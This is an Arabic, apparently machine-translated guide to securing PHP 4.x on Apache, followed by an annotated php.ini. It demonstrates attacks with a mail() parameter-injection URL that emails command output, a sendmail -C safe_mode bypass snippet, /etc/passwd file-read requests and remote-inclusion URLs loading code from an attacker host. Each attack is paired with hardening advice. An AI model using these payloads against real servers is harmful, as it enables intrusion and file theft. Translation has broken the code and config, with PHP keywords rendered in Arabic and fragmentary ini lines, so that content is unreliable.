1. أمان خادم الويب
PHP هو في الواقع مجرد وظيفة وحدة لخادم الويب، لذا يجب ضمان أمان خادم الويب أولاً. بالطبع، لكي يكون خادم الويب آمنًا، يجب عليه أولاً التأكد من أمان النظام، وهو أمر بعيد المنال. يمكن دمج PHP مع خوادم الويب المختلفة، وسيتم مناقشة Apache فقط هنا. يوصى بشدة بتثبيت Apache وبدء تشغيله في وضع chroot، وبهذه الطريقة، حتى لو كانت هناك ثغرات أمنية في Apache وPHP والبرامج النصية الخاصة بهما، فلن يتأثر سوى النظام المقيد ولن يضر النظام الفعلي. ومع ذلك، فإن استخدام Apache الذي تم تجذيره سيؤدي أيضًا إلى حدوث مشكلات معينة في التطبيق. على سبيل المثال، عند الاتصال بـ mysql، يجب استخدام العنوان 127.0.0.1 للاتصال باستخدام tcp بدلاً من المضيف المحلي للاتصال بالمقبس، وهو أقل كفاءة قليلاً. هناك أيضًا مشكلة في وظيفة البريد التي ترسل رسائل البريد الإلكتروني، لأنه في php.ini:
[وظيفة البريد]
؛ لـ Win32 فقط.
SMTP=المضيف المحلي
؛ لـ Win32 فقط.
sendmail_from [email protected]
مخصص لنظام Win32، لذا يجب تعديل sendmail في بيئة chroot.
2. مشاكل مع PHP نفسه مسؤول الشبكة u.bitscn@com
1. التجاوز البعيد
جميع الإصدارات أدناه PHP-4.1.2 بها ثغرات أمنية في تحميل الملفات عن بعد، وقد تم تداول برنامج الهجوم على نطاق واسع، بمعدل نجاح مرتفع جدًا
2 رفض الخدمة عن بعد
PHP-4.2.0 وPHP-4.2.1 لديهما ثغرة أمنية عن بعد في معالجة طلب POST لبيانات النماذج/الأجزاء المتعددة في PHP، على الرغم من أنه لا يمكن الحصول على أذونات المستخدم المحلي، إلا أنها يمكن أن تتسبب أيضًا في رفض الخدمة.
3. توجد ثغرة تجاوز الوضع الآمن
أيضًا في PHP-4.2.2 وما دونه إلى PHP-4.0.5. تتجاوز وظيفة بريد PHP قيود الوضع الآمن وتنفذ الأوامر بدءًا من الإصدار 4.0.5، وتضيف وظيفة البريد معلمة خامسة. نظرًا للتصميم، إذا لم تكن حذرًا، فيمكنك اختراق قيود الوضع الآمن وتنفيذ الأوامر. الاختراق في الإصدار 4.0.5 بسيط للغاية، كل ما عليك فعله هو فصله بفاصلة منقوطة وإضافة أمر shell، على سبيل المثال، إذا كان هناك برنامج نصي PHP evil.php:
قم بتنفيذ عنوان URL التالي:
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
سيؤدي هذا إلى إرسال نتيجة تنفيذ المعرف إلى [email protected] .
بالنسبة لـ PHP من 4.0.6 إلى 4.2.2، فإن اختراق قيود الوضع الآمن يستخدم فعليًا المعلمة -C الخاصة بـ sendmail، لذلك يجب على النظام استخدام sendmail. يمكن للتعليمات البرمجية التالية اختراق قيود الوضع الآمن وتنفيذ الأوامر:
#ملاحظة، يجب ألا يكون الكودان التاليان موجودين.
أو أن أصحابها هم نفس أصحاب هذا البرنامج النصي
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
متفرق = 0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
فكلوز($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
فكلوز($fd);
mail("لا أحد"، ""، ""، ""، "-C$cf");
?>
يجب على المستخدمين الذين يستخدمون الإصدار المذكور أعلاه من PHP الترقية إلى الإصدار الأحدث في الوقت المناسب، وذلك للتخلص من مشاكل الأمان الأساسية.
3. تكوين الأمان الخاص بـ PHP نفسه،
يعد تكوين PHP مرنًا للغاية، ويمكن ضبطه من خلال ملفات php.ini، وhttpd.conf، و.htaccess (يجب تعيين الخيار "AllowOverride All" أو "الخيارات" في هذا الدليل)، ويمكنك أيضًا تعيينه. استخدم ini_set() في البرنامج النصي والوظائف المحددة الأخرى. يمكن الحصول على كل قيمة من خيارات التكوين من خلال الدالتين phpinfo() و get_cfg_var().
إذا كان خيار التكوين هو سمة PHP_INI_SYSTEM الوحيدة، فيجب تعديله من خلال php.ini وhttpd.conf، حيث يقومون بتعديل قيمة PHP Master، ولكن بعد التعديل، يجب إعادة تشغيل apache ليصبح ساري المفعول. الخيارات المحددة في php.ini فعالة لجميع البرامج النصية في خادم الويب، والخيارات المحددة في httpd.conf فعالة لجميع البرامج النصية في الدليل المحدد.
إذا كانت هناك خيارات سمات PHP_INI_USER وPHP_INI_PERDIR وPHP_INI_ALL أخرى، فيمكنك استخدام ملف htaccess لتعيينها، أو يمكنك استخدام وظيفة ini_set() في البرنامج النصي نفسه لتعيينها تصبح نافذة المفعول على الفور. ومع ذلك، فإن htaccess يصبح ساري المفعول فقط للبرنامج النصي الموجود في الدليل الحالي، ولا تصبح وظيفة ini_set() نافذة المفعول إلا بعد تعيين وظيفة ini_set() لبرنامج البرنامج النصي. قد تختلف سمات الخيار لكل إصدار، يمكنك استخدام الأمر التالي للعثور على ملف main.c الخاص بكود المصدر الحالي للحصول على جميع الخيارات وسماته:
# grep PHP_INI_ /PHP_SRC/main/main.c
قبل المناقشة. تكوين أمان PHP، يجب أن يكون لديك فهم جيد لوضع Safe_mode الخاص بـ PHP.
1. الوضع الآمن
الوضع الآمن هو السمة الوحيدة لـ PHP_INI_SYSTEM ويجب ضبطها من خلال php.ini أو httpd.conf. لتمكين الوضع الآمن، ما عليك سوى تعديل ملف php.ini:
الوضع الآمن = تشغيل
أو قم بتعديل httpd.conf وحدد الدليل:
Options FollowSymLinks
php_admin_value Safe_mode 1
سوف يصبح الوضع الآمن ساري المفعول بعد إعادة تشغيل Apache. سيؤدي تمكين الوضع الآمن إلى تقييد العديد من وظائف PHP، خاصة فتح الملفات المتعلقة بالنظام وتنفيذ الأوامر والوظائف الأخرى.
جميع الوظائف التي تقوم بتشغيل الملفات ستعمل فقط على تشغيل الملفات ذات المعرف الفريد (UID) الموجود في البرنامج النصي، على سبيل المثال، محتوى البرنامج النصي test.php هو:
خصائص العديد من الملفات هي كما يلي:
# ليرة سورية -لا
المجموع 13
drwxr-xr-x 2 جذر الجذر 104 20 يوليو 01:25 .
drwxr-xr-x 16 جذر الجذر 384 18 يوليو 12:02 ..
-rw-r--r-- 1 جذر الجذر 4110 26 أكتوبر 2002 Index.html
-rw-r--r-- 1 www-data www-data 41 19 يوليو 19:14 test.php
سيؤدي طلب test.php في المتصفح إلى ظهور رسالة الخطأ التالية:
تحذير: تقييد الوضع الآمن ساري المفعول، غير مسموح للبرنامج النصي الذي يكون uid/gid به 33/33 بالوصول إلى ./index.html المملوك لـ uid/gid 0/0. في /var/www/test.php على السطر 1
إذا كان UID الخاص بالدليل الذي يوجد به الملف الذي تم معالجته متوافقًا مع UID الخاص بالبرنامج النصي، فيمكن الوصول إلى UID الخاص بالملف حتى لو كان مختلفًا عن البرنامج النصي، وأتساءل عما إذا كانت هذه ثغرة أمنية في PHP أم لا هناك سبب خفي آخر. لذلك، من الأفضل للمستخدم الذي هو مالك برنامج php أن يستخدمه لهذا الغرض فقط، ويمنع تمامًا استخدام الجذر كمالك لبرنامج php، وهذا لن يحقق تأثير الوضع الآمن.
إذا كنت ترغب في تخفيف الأمر مقارنة بـ GID، فيمكنك التفكير فقط في مقارنة GID للملف عن طريق تشغيل Safe_mode_gid. يمكنك ضبط الخيارات التالية:
Safe_mode_gid = On.
بعد ضبط الوضع الآمن، سيتم تقييد جميع الأوامر المنفذة على الوظائف فقط المحدد في Safe_mode_exec_dir في برامج php.ini الموجودة في الدليل، وسيتم منع shell_exec و`ls -l` من تنفيذ الأوامر. إذا كنت تريد بالفعل استدعاء برامج أخرى، فيمكنك إجراء الإعدادات التالية في php.ini:
Safe_mode_exec_dir = /usr/local/php/exec
ثم نسخ البرنامج إلى هذا الدليل، ثم يمكن لبرنامج php النصي استخدام النظام والوظائف الأخرى تنفيذ البرنامج. علاوة على ذلك، لا يزال بإمكان نصوص shell الموجودة في هذا الدليل استدعاء أوامر النظام في أدلة أخرى.
سلسلة Safe_mode_include_dir
تجاوز عمليات التحقق من UID/GID عند تضمين ملفات من هذا الدليل وأدلته الفرعية (يجب أن تكون الدلائل في include_path أو مضمنة مع المسارات الكاملة).
بدءًا من PHP 4.2.0، يمكن لهذا التوجيه قبول المسارات المفصولة بفواصل منقوطة بأسلوب مشابه لتوجيه include_path، بدلاً من مجرد دليل.
الحد المحدد هو في الواقع بادئة، وليس اسم دليل. وهذا يعني أن "safe_mode_include_dir = /dir/incl" سيسمح بالوصول إلى "/dir/include" و"/dir/incls" إذا كانا موجودين. إذا كنت ترغب في تقييد الوصول إلى دليل معين، أضف شرطة مائلة لاحقة، على سبيل المثال: "safe_mode_include_dir = /dir/incl/".
سلسلة Safe_mode_allowed_env_vars
قد يمثل تعيين متغيرات بيئة معينة ثغرة أمنية محتملة. يحتوي هذا التوجيه على قائمة من البادئات مفصولة بفواصل. في الوضع الآمن، يمكن للمستخدمين فقط تغيير متغيرات البيئة التي تحتوي أسماؤها على البادئة المتوفرة هنا. افتراضيًا، يمكن للمستخدمين فقط تعيين متغيرات البيئة التي تبدأ بـ PHP_ (على سبيل المثال، PHP_FOO = BAR).
ملحوظة: إذا كان هذا التوجيه فارغًا، فستسمح PHP للمستخدم بتعديل أي متغير بيئة!
سلسلة Safe_mode_protected_env_vars
يحتوي هذا التوجيه على قائمة مفصولة بفواصل لمتغيرات البيئة التي لا يمكن للمستخدم النهائي تغييرها باستخدام putenv(). لا يمكن تغيير هذه المتغيرات حتى عند ضبط التعديل المسموح به في الوضع الآمن Safe_mode_allowed_env_vars.
على الرغم من أن الوضع الآمن ليس حلاً سحريًا (يمكن تجاوز الإصدارات الأقل من PHP)، إلا أنه لا يزال يوصى بشدة بتشغيل الوضع الآمن، والذي يمكنه تجنب بعض الهجمات غير المعروفة إلى حد ما. ومع ذلك، فإن تمكين الوضع الآمن سيكون له العديد من القيود، مما قد يؤثر على التطبيق، لذلك يجب تعديل التعليمات البرمجية والتكوين لتحقيق الانسجام. بالنسبة للوظائف المقيدة أو المحظورة بواسطة الوضع الآمن، يرجى الرجوع إلى دليل PHP.
بعد مناقشة الوضع الآمن، دعونا نناقش كيفية تجنب الثغرات الأمنية من خلال تكوين خادم PHP بناءً على المشكلات الفعلية التي قد تنشأ في كود البرنامج.
2. إساءة استخدام المتغير
إعدادات PHP الافتراضية هي Register_globals = On يمكن تسجيل متغيرات GET وPOST وCookie وEnvironment وSession مباشرةً كمتغيرات عامة. ترتيب التسجيل الخاص بهم هوvariables_order = "EGPCS" (يمكن تعديله من خلال php.ini). يغطي الجانب الأيمن من متغيرات_order الذي يحمل نفس الاسم الجانب الأيسر، وبالتالي فإن إساءة استخدام المتغيرات يمكن أن تسبب ارتباكًا في البرنامج بسهولة. علاوة على ذلك، غالبًا ما لا يكون لدى مبرمجي البرامج النصية عادة تهيئة المتغيرات، وتكون أجزاء البرنامج مثل ما يلي معرضة بشدة للهجمات:
//test_1.php
إذا ($pass == "مرحبًا")
$auth = 1;
إذا ($auth == 1)
صدى "بعض المعلومات المهمة"؛
آخر
صدى "لا شيء" ؛
?>
يمكن للمهاجم تجاوز الفحص بمجرد استخدام الطلب التالي:
http://victim/test_1.php?auth=1
وعلى الرغم من أن هذا خطأ ضعيف جدًا، إلا أن بعض البرامج الشهيرة ارتكبت هذا الخطأ أيضًا، على سبيل المثال، جهاز التحكم عن بعد الخاص بـ phpnuke ثغرة أمنية في نسخ الملف: http://www.securityfocus.com/bid/3361
عندما تم إصدار PHP-4.1.0، يوصى بإيقاف تشغيل Register_globals وتوفير 7 متغيرات مصفوفة خاصة لاستخدام متغيرات متنوعة. لا يتم تسجيل المتغيرات من GET وPOST وCOOKIE وما إلى ذلك مباشرة كمتغيرات ويجب الوصول إليها من خلال متغيرات المصفوفة. عندما تم إصدار PHP-4.2.0، كان التكوين الافتراضي لـ php.ini هو Register_globals = Off. يسمح هذا للبرنامج باستخدام القيمة الافتراضية التي تم تهيئتها بواسطة PHP نفسها، والتي عادة ما تكون 0، مما يمنع المهاجمين من التحكم في متغيرات الحكم.
الحل:
قم بتعيين Register_globals = Off في ملف التكوين php.ini.
مطلوب من المبرمج تهيئة قيمة لمتغير الحكم في بداية البرنامج.
3. يفتح الملف
مقتطف تعليمات برمجية ضعيف للغاية:
//test_2.php
إذا (!($str = readfile("$filename"))) {
صدى ("تعذر فتح الملف: $filename
n");
مخرج؛
}
آخر {
صدى $str;
}
?>
بما أن المهاجم يمكنه تحديد أي اسم ملف $، فيمكن للمهاجم رؤية /etc/passwd بالطلب التالي:
http://victim/test_2.php?filename=/etc/passwd
يمكن للطلب التالي قراءة ملف php نفسه:
http://victim/test_2.php?filename=test_2.php
تتضمن وظائف فتح الملفات في PHP fopen() وfile() وما إلى ذلك. إذا لم يتم التحقق من متغير اسم الملف بدقة، فسيتم الوصول إلى الملفات المهمة على الخادم وقراءة.
الحل:
ما لم يكن ذلك ضروريًا، قم بقصر عمليات ملف PHP على دليل الويب. فيما يلي مثال على تعديل ملف تكوين Apache httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
بعد إعادة تشغيل Apache، يمكن لبرنامج PHP النصي في الدليل /usr/local/Apache/htdocs تشغيل الملفات الموجودة في الدليل الخاص به فقط، وإلا فإن PHP ستبلغ عن خطأ:
تحذير: تقييد open_basedir ساري المفعول.
الملف موجود في دليل خاطئ في xxx على السطر xx.
يمكن أن يؤدي استخدام الوضع الآمن أيضًا إلى تجنب هذه المشكلة التي تمت مناقشتها مسبقًا.
4. يحتوي على ملفات
تحتوي على مقتطفات تعليمات برمجية ضعيفة للغاية:
//test_3.php
إذا (ملف_موجود($اسم الملف))
تشمل("اسم الملف$");
?>
هذا النوع من التعليمات البرمجية غير المسؤولة سوف يسبب ضررًا كبيرًا. يمكن للمهاجم الحصول على الملف /etc/passwd باستخدام الطلب التالي:
http://victim/test_3.php?filename=/etc/passwd
إذا كان لإصدار Unix من PHP ( إصدار Win من PHP لا يدعم فتح الملفات عن بعد) يمكن للمهاجم إنشاء ملف يحتوي على أوامر shell على الجهاز حيث قام بفتح خدمة http أو ftp، على سبيل المثال، محتوى http://attack/attack.txt هو، ثم الطلب التالي يمكنك تنفيذ الأمر ls /etc على المضيف الهدف:
http://victim/test_3.php?filename=http://attack/attack.txt
ويمكن للمهاجم حتى استخدام Access.log و تم الحصول على ملفات سجل error.log التي تحتوي على apache للحصول على التعليمات البرمجية لتنفيذ الأمر، ولكن في بعض الأحيان ليس من السهل تحقيق النجاح بسبب وجود الكثير من المعلومات المتداخلة.
بالنسبة لنموذج آخر، مقتطف التعليمات البرمجية التالي:
//test_4.php
include("$lib/config.php");
?>
يمكن للمهاجم إنشاء ملف config.php يحتوي على كود تنفيذ الأمر على مضيفه الخاص، ثم استخدام الطلب التالي لتنفيذ الأمر على المضيف المستهدف:
http://victim/test_4.php?lib=http://attack
تتضمن وظائف PHP المتضمنة include() و include_once() و require() و require_once. إذا لم يتم التحقق بدقة من المتغير الذي يحتوي على اسم الملف، فسيسبب ذلك خطرًا جسيمًا على النظام، ويمكن تنفيذ الأمر عن بُعد.
الحل:
يُطلب من المبرمجين محاولة عدم استخدام المتغيرات عند تضمين المعلمات في الملفات. إذا تم استخدام المتغيرات، فيجب التحقق بدقة من أسماء الملفات التي سيتم تضمينها ويجب ألا يتم تحديدها بشكل تعسفي من قبل المستخدم.
على سبيل المثال، يعد تحديد مسار عملية PHP في فتح الملف السابق خيارًا ضروريًا. بالإضافة إلى ذلك، ما لم يكن ذلك ضروريًا، تأكد من إيقاف تشغيل وظيفة فتح الملفات عن بعد في PHP. قم بتعديل ملف php.ini:
allow_url_fopen = Off
إعادة تشغيل Apache
[PHP]
لا تزال PHP أداة متطورة ويتم إزالة ميزاتها باستمرار.
ويمكن أن تعكس تغييرات إعدادات php.ini تغييرات كبيرة،
؛ قبل استخدام إصدار PHP جديد، سيكون من المفيد دراسة php.ini
;;;;;;;;;;;;;;;;;;;;
؛حول هذه الوثيقة؛
;;;;;;;;;;;;;;;;;;;;
يتحكم هذا الملف في العديد من جوانب عرض PHP لكي يتمكن PHP من قراءة هذا الملف، يجب تسميته
سيقوم 'php.ini'.PHP بالبحث عن الملف في هذه الأماكن: دليل العمل الحالي PHPRC؛
المسار المحدد؛ المسار المحدد عند التجميع.
ضمن Windows، المسار عند الترجمة هو دليل تثبيت Windows.
في وضع سطر الأوامر، يمكن استبدال مسار البحث لـ php.ini بالمعلمة -c؛
ويتم ببساطة تجاهل أحرف المسافة البيضاء والأسطر التي تبدأ بفاصلة منقوطة (كما تفعل).
؛ كما خمنت). يتم أيضًا تجاهل عناوين الفصول (على سبيل المثال: [Foo]) ببساطة، على الرغم من احتمال حدوث ذلك في المستقبل
؛ له بعض المعنى.
;
يتم تحديد التوجيهات باستخدام بناء الجملة التالي:
معرف المؤشر = القيمة
التوجيه = القيمة
يشير إلى أن المعرف *حساس لحالة الأحرف* - يختلف foo=bar عن FOO = bar.
;
يمكن أن تكون القيمة عبارة عن سلسلة أو رقم أو ثابت PHP (مثل: E_ALL أو M_PI) أو ثابت INI
أ (تشغيل، إيقاف، صحيح، خطأ، نعم، لا، لا شيء)، أو تعبير
; (على سبيل المثال: E_ALL & ~E_NOTICE)، أو سلسلة مقتبسة ("foo").
;
تقتصر التعبيرات الموجودة في ملفات INI على عوامل البت والأقواس.
;
; & bitwise و
; ~ لا
لا منطقية!
;
يمكن تشغيل العلامات المنطقية بالقيم 1 أو On أو True أو Yes.
يمكن ضبطها على القيم 0 أو Off أو False أو No.
;
يمكن تمثيل سلسلة فارغة عن طريق كتابة أي شيء بعد علامة المساواة، أو باستخدام الكلمة الأساسية لا شيء:
;
; foo = ; اضبط foo على سلسلة فارغة
; foo = none ; اضبط foo على سلسلة فارغة
; foo = "none" ; اضبط foo على السلسلة "none"
;
إذا كنت تستخدم ثوابت في إعدادات القيمة، وكانت هذه الثوابت تنتمي إلى مكتبات الملحقات المحملة ديناميكيًا (وليست امتدادات PHP، أي
؛ ملحقات Zend)، يمكنك فقط استخدام هذه الثوابت *بعد* الخطوط التي تستدعي هذه الملحقات.
;
جميع القيم المحددة في ملف php.ini-dist هي نفس القيم الافتراضية المضمنة (أي إذا كان php.ini
؛ لم يتم استخدامه أو قمت بحذف هذه السطور، القيمة الافتراضية هي نفسها
;;;;;;;;;;;;;;;;;;;;
؛خيارات اللغة؛
؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛
= تشغيل
جعل محرك لغة البرمجة النصية PHP متاحًا ضمن Apache.
short_open_tag = تشغيل
يسمح بالعلامة <?(هذا التمثيل البسيط) سيتم التعرف عليه فقط.
asp_tags = معطل
السماح بعلامات نمط ASP <% %>
الدقة=14
عدد الأرقام الفعالة عند عرض أرقام نوع الفاصلة العائمة
y2k_compliance = Off
ما إذا كان سيتم تشغيل التكيف مع Y2K (قد يسبب مشاكل في المتصفحات غير المتكيفة مع Y2K)
Output_buffering = Off؛
يتيح لك التخزين المؤقت للمخرجات إرسال أسطر الرأس (بما في ذلك ملفات تعريف الارتباط) حتى بعد إخراج محتوى النص
التكلفة هي أن طبقة الإخراج تبطئ قليلاً. يمكنك استخدام التخزين المؤقت للإخراج لتشغيل التخزين المؤقت للإخراج في وقت التشغيل.
أو قم بتشغيل التوجيه هنا لتمكين التخزين المؤقت للمخرجات لجميع الملفات.
output_handler = ; يمكنك إعادة توجيه جميع مخرجات البرنامج النصي الخاص بك إلى وظيفة ما،
قد يكون ذلك مفيدًا لمعالجته أو تسجيله.
على سبيل المثال، إذا قمت بتعيين مخرج_المعالج هذا على "ob_gzhandler"،
سيتم ضغط الإخراج بشكل شفاف للمتصفحات التي تدعم تشفير gzip أو deflate.
قم بتعيين معالج الإخراج لفتح التخزين المؤقت للإخراج تلقائيًا.
implicit_flush = معطل
فرض التدفق لإخبار PHP بإخبار طبقة الإخراج بتحديث بياناتها تلقائيًا بعد كل كتلة إخراج.
وهذا يعادل استدعاء الدالة Flush() بعد كل استدعاء print() أو echo() وبعد كل كتلة HTML.
سيؤدي تشغيل هذا الإعداد إلى حدوث تعارضات خطيرة في وقت التشغيل. يوصى بتشغيله فقط أثناء تصحيح
الأخطاء
تم الاحتجاج على ما إذا كان سيتم فرض استدعاءات الوظائف لتمرير المعلمات حسب المرجع.
وقد لا يكون مدعومًا في الإصدارات المستقبلية من PHP/Zend.
يُنصح بتحديد المعلمات التي يتم تمريرها حسب المرجع في إعلان الوظيفة.
ننصحك بمحاولة إيقاف تشغيل هذا الخيار والتحقق من أن البرامج النصية الخاصة بك لا تزال تعمل بشكل صحيح، لضمان الإصدارات المستقبلية من اللغة
وستظل تعمل (ستتلقى تحذيرًا في كل مرة تستخدم فيها هذه الميزة، وستكون المعلمات حسب القيمة وليس حسب المرجع.
؛
الوضع الآمن
الوضع الآمن = إيقاف
Safe_mode_exec_dir =
Safe_mode_allowed_env_vars = PHP_
؛ ضبط بعض متغيرات البيئة
؛ قد يكون خرقًا أمنيًا محتملاً.
يحتوي هذا التوجيه على قائمة بادئات مفصولة بفواصل، في الوضع الآمن، يمكن للمستخدمين استبدال
قيم متغيرات البيئة التي تبدأ بالبادئات المذكورة هنا فقط.
افتراضيًا، لن يتمكن المستخدمون إلا من تعيين متغيرات البيئة التي تبدأ بـ PHP_ (على سبيل المثال: PHP_FOO=BAR).
ملاحظة: إذا كان هذا التوجيه فارغًا، فستسمح PHP للمستخدم بتغيير أي متغيرات بيئة
!
يحتوي هذا التوجيه على قائمة مفصولة بفواصل لمتغيرات البيئة التي لن يتمكن المستخدم النهائي من تغييرها باستخدام putenv ().
تتم حماية هذه المتغيرات حتى عند ضبط الوضع Safe_mode_allowed_env_vars على الوضع المسموح
به
يسمح لك هذا التوجيه بتعطيل وظائف محددة لأسباب أمنية.
يقبل قائمة مفصولة بفواصل بأسماء الوظائف.
؛ *لا* تتأثر هذه التعليمات بما إذا كان الوضع الآمن قيد التشغيل أم لا
؛
???
> سيعمل
Highlight.comment = #FF8000
Highlight.keyword = #007700
Highlight.bg = #FFFFFF
Highlight.default = #0000BB
Highlight.html = #000000
;
Expose_php = معطل
يحدد ما إذا كان يجب على PHP الإشارة إلى حقيقة تثبيته على الخادم (على سبيل المثال، إضافته - PHP - إلى خدمة الويب؛
؛ على الإشارة المرسلة).
(رأيي الشخصي هو إيقاف تشغيل هذا عند ظهور أي رأس تشغيل.)
لا يشكل أي تهديد أمني، ولكنه يجعل من الممكن التحقق مما إذا كان PHP مثبتًا على الخادم الخاص بك.
;;;;;;;;;;;;;;;;;;;;
حدود الموارد ;
;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ;
Memory_limit = 8388608؛ الحد الأقصى لحجم الذاكرة الذي يمكن استخدامه بواسطة البرنامج النصي (هنا 8 ميجابايت)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
معالجة الأخطاء وتسجيلها ;
التحكم في الأخطاء والتسجيل؛
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
يتم الإبلاغ عن الأخطاء بطريقة البت أو قم بإضافة الأرقام للحصول على مستوى الإبلاغ عن الأخطاء المطلوب.
E_ALL - كافة الأخطاء والتحذيرات
E_ERROR - خطأ فادح في وقت التشغيل
E_WARNING - تحذير وقت التشغيل (خطأ غير فادح)
E_PARSE - خطأ في تحليل وقت الترجمة
E_NOTICE - تذكيرات وقت التشغيل (غالبًا ما يكون سببها أخطاء في التعليمات البرمجية الخاصة بك،
قد يكون السبب أيضًا هو السلوك المتعمد (على سبيل المثال: استخدام متغير غير مهيأ بناءً على
حقيقة أن المتغير غير المهيأ تتم تهيئته تلقائيًا إلى سلسلة فارغة)
؛ E_CORE_ERROR - خطأ فادح يحدث أثناء عملية التهيئة عند بدء تشغيل PHP
E_CORE_WARNING - تحذير (خطأ غير فادح) يحدث أثناء عملية التهيئة عند بدء تشغيل PHP
E_COMPILE_ERROR - خطأ فادح في وقت الترجمة
E_COMPILE_WARNING - تحذير وقت الترجمة (خطأ غير فادح)
E_USER_ERROR - رسالة خطأ أنشأها المستخدم
E_USER_WARNING - رسالة تحذير أنشأها المستخدم
E_USER_NOTICE - رسالة تذكير أنشأها المستخدم
؛ مثال:
; error_reporting = E_ALL & ~E_NOTICE ; عرض كافة الأخطاء باستثناء التذكيرات
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ;
error_reporting = E_ALL & ~E_NOTICE؛ إظهار كافة الأخطاء باستثناء التذكيرات
Display_errors = On؛ عرض رسائل الخطأ (كجزء من الإخراج)
في موقع الويب المنشور النهائي، يوصى بشدة بإيقاف تشغيل هذه الميزة واستخدامها
سجل الأخطاء بدلاً من ذلك (انظر أدناه).
من الممكن الاستمرار في تمكين أخطاء العرض في موقع الويب النهائي المنشور
الكشف عن بعض المعلومات المتعلقة بالأمان، مثل مسارات الملفات على خدمة الويب الخاصة بك؛
; تكوين قاعدة البيانات الخاصة بك أو معلومات
أخرى
لن يتم عرض الأخطاء.
يوصى بشدة بإيقاف تشغيل Display_startup_errors،
إلا أثناء عملية تصحيح الخطأ.
log_errors = Off؛ تسجيل الأخطاء في ملف السجل (السجل الخاص بالخادم، أو إخراج الخطأ القياسي stderr، أو error_log (أدناه))
كما هو مذكور أعلاه، يوصى بشدة بتسجيل الأخطاء في الموقع الإلكتروني النهائي المنشور
استبدل إخراج الخطأ المباشر
track_errors = Off احفظ آخر رسالة خطأ/تحذير في المتغير $php_errormsg (boolean)
;error_prepend_string = "<font color=ff0000>" ; إخراج السلسلة قبل رسالة الخطأ
;error_append_string = "</font>" ; إخراج السلسلة بعد رسالة الخطأ
;error_log = filename; قم بتسجيل سجل الأخطاء في الملف المحدد
;error_log = syslog ; سجل سجل الأخطاء في سجل النظام (سجل الأحداث تحت NT، غير صالح تحت نظام التشغيل Windows 95)
تحذير_plus_overloading = إيقاف؛ تحذير عند استخدام "+" مع السلاسل
;;;;;;;;;;;;;;;;;
معالجة البيانات ;
;;;;;;;;;;;;;;;;;;variables_order = "EGPCS" ;
ترتيب متغيرات GET وPOST وملفات تعريف الارتباط والبيئة والمتغيرات المضمنة.
(ممثلة بـ G، P، C، E & S، ويشار إليها عادة باسمEGEPCS أو GPC).
؛ السجلات من اليسار إلى اليمين، تحل القيم الجديدة محل القيم القديمة.
Register_globals = On؛
قد ترغب في إيقاف تشغيل هذا إذا كنت لا تريد أن تكون بيانات المستخدم مزدحمة على مستوى العالم.
هذا منطقي أكثر مع Track_vars - بهذه الطريقة يمكنك المرور
; $HTTP_*_VARS[] يصل إلى جميع متغيرات GPC
Register_argc_argv = On؛ يخبر PHP ما إذا كان يجب الإعلان عن متغيرات argv و argc
(ملاحظة: هنا argv عبارة عن مصفوفة وargc هو عدد المتغيرات)
(الذي يحتوي على البيانات التي تم تمريرها باستخدام طريقة GET).
فيجب
عليك إيقاف تشغيلها لتحسين الأداء
استبدال ENV أو POST أو GET أو ملف تعريف الارتباط أو الخادم
post_max_size = 8M؛ الحد الأقصى لحجم بيانات POST التي تقبلها PHP.
gpc_order = "GPC" ؛ تم إهمال هذا التوجيه بدلاً من
ذلك
magic_quotes_gpc = On؛ استخدم علامات الاقتباس السحرية في إدخال بيانات GET/POST/Cookie
(النص الأصلي هكذا، هاها، ما يسمى بالاقتباسات السحرية يجب أن تشير إلى استخدام أحرف الهروب لإضافة أحرف التحكم المرجعية، مثل '....)
Magic_quotes_runtime= Off؛ استخدم علامات الاقتباس السحرية للبيانات التي تم إنشاؤها في وقت التشغيل،
على سبيل المثال: البيانات التي تم الحصول عليها عن طريق استعلام SQL، والبيانات التي تم الحصول عليها عن طريق وظيفة exec()، وما إلى ذلك.
magic_quotes_sybase = Off؛ استخدم علامات الاقتباس السحرية لنمط Sybase (استخدم 'extract' بدلاً من '')
؛ قم بإضافة الملفات تلقائيًا قبل مستندات PHP وبعدها
auto_prepend_file =
auto_append_file =
; مثل 4.04b4، تقوم PHP بشكل افتراضي بإخراج ترميز الحرف في رأس "نوع المحتوى:".
تعطيل مجموعة أحرف الإخراج طالما تم ضبطها على فارغة.
الإعداد الافتراضي المدمج في PHP هو text/html
default_mimetype = "نص/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;
المسارات والدلائل ;
;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; تضمين إعداد المسار، UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; المسار الجذري لصفحة php، صالح فقط عندما لا يكون فارغًا.
user_dir = ; يخبر php عن الدليل الذي يجب البحث عنه عند فتح البرنامج النصي باستخدام /~username.
;upload_tmp_dir = ; الدليل المؤقت لتخزين الملفات التي تم تحميلها باستخدام بروتوكول HTTP (استخدم الإعداد الافتراضي للنظام إذا لم يكن محددًا)
upload_max_filesize = 2097152؛ يقتصر تحميل الملف على 2 ميغا بشكل افتراضي
Extension_dir = c:php ; حيث يتم تخزين مكتبات الامتدادات القابلة للتحميل (الوحدات).
Enable_dl = قيد التشغيل؛ ما إذا كان سيتم تمكين dl().
الدالة dl() *لا* تعمل بشكل جيد على خادم متعدد الخيوط،
مثل IIS أو Zeus، ويتم تعطيلها افتراضيًا
;;;;;;;;;;;;;;;;;
تحميل الملفات ;
;;;;;;;;;;;;;;;;;
file_uploads = تشغيل؛ ما إذا كان سيتم السماح بتحميل ملفات HTTP
;upload_tmp_dir = ; الدليل المؤقت للملفات التي تم تحميلها عبر HTTP (يتم استخدام النظام الافتراضي إذا لم يتم تحديده)
upload_max_filesize = 2M؛ الحد الأقصى لحجم الملفات التي تم تحميلها
؛
;;;;;;;;;;;;;;;;;;;
